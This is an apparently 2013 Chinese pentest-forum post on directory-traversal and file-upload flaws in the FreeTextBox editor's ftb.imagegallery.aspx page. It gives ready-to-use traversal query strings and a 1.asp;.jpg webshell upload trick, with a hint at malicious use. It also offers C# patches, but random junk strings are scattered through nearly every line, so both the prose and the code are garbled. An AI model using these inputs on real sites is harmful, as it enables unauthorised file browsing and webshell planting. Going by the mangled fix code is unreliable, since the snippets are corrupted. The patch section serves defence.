中国网络渗透测试联盟

标题: Treetextbox编辑器遍历目录+上传漏洞 [打印本页]

作者: admin    时间: 2013-1-18 18:22
标题: Treetextbox编辑器遍历目录+上传漏洞
  漏洞文件:ftb.imagegallery.aspx
" u$ b) z- J4 F0 C2 A& ~, J$ q2 G7 P
漏洞一:目录遍历+ ?* H+ E, F. G2 v2 @) A1 `
ftb.imagegallery.aspx?frame=1&rif=images&cif=../
* ~3 k6 i# Z$ f: |不可以,过滤了/
( l; d" p- k/ c2 o: dftb.imagegallery.aspx?frame=1&rif=images&cif=..\
5 d, Y# m' S7 X: a& u0 A8 t! M7 g可以!!过滤\符号 嘿嘿,能干什么自己知道了呗。
3 |, J) q+ Q9 Nftb.imagegallery.aspx?frame=1&rif=images&cif=..\..
8 k# Q( _$ A5 U+ G漏洞二:上传漏洞
% w7 M; h* B9 c4 y没做登陆验证可以直接访问上传木马 FTBv3-3-1 可以直接上传任意格式的文件 Freetextbox 1.6.3 及其他版本可以上传 格式为 1.asp;.jpg 文件 上传后木马地址为http://网站地址/images/1.asp;.jpg1 n1 G5 @  Q( N9 g1 x6 i

- b4 f3 Y; Y+ c- H
; o# z5 l- Q7 Y# I9 n4 d& x漏洞修补方案:
0 X9 A1 i$ q3 A) X$ E/ _2 l( i' U) u% b8 H$ p/ [. }6 h
添加代码加登陆验证
! X* t  P1 ^2 i( rprivate void Page_Load(object sender, System.EventArgs e) {    string isframe = “” + Request["frame"];   Freetextbox上传图片是直接保留原文件名的,这个地方做个修改,上传文件使用时间串做文件名。, g! y+ m$ a9 a& ^
' J: O. e" M) ~0 O  Z$ T
修改方式如下:1 z& ?  x- h: ~$ g3 k. j! P

# }- Q3 G' c/ o+ T, Q找到 程序代码 9 q) J4 E$ q7 H; N3 ^- j
UploadFileNameUploadFileName = UploadFileName.Substring(UploadFileName.LastIndexOf(“\\”)+1);    在其下面添加以下代码4 b# E3 y& s+ T1 P
//********************* UploadFileName = DateTime.Now.ToString() + UploadFileName.Remove(0, UploadFileName.LastIndexOf(“.”)); UploadFileName = UploadFileName.Replace(“:”, “”).Replace(“-”, “”).Replace(” “, “”); //by Yation.Team 2009/7/17 上传文件用时间重命名" a( L% T9 K! w2 k9 y
以前已经有人公布过fb暴路径的方法 http*****.cn/helps/ftb.imagegallery.aspx?frame=1”在地址后面加上&rif=..&cif=..在访问 整个网站的目录就呈现在眼前了,下面还有上传删除等按钮… 修正方式如下: 找到 程序代码 if (cif != “” && rif != “”) {
7 C; r2 j# X9 _把RootImagesFolder.Value = rif;
! p5 u0 L% ~& y1 b7 R- O, n; y1 \' U" [/ M
替换成
+ P4 a# J8 e7 x6 V  R4 L7 ?( x程序代码 //***************************** RootImagesFolder.Value = DefaultImageFolder; Array srtArray = cif.Split(‘\\’); string str = srtArray.GetValue(0).ToString(); if (str != DefaultImageFolder) { cif = DefaultImageFolder; } cif = cif.Replace(“..\\”, “”).Replace(“../”,”");
4 ^' j" L6 n) j! j$ @& {




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2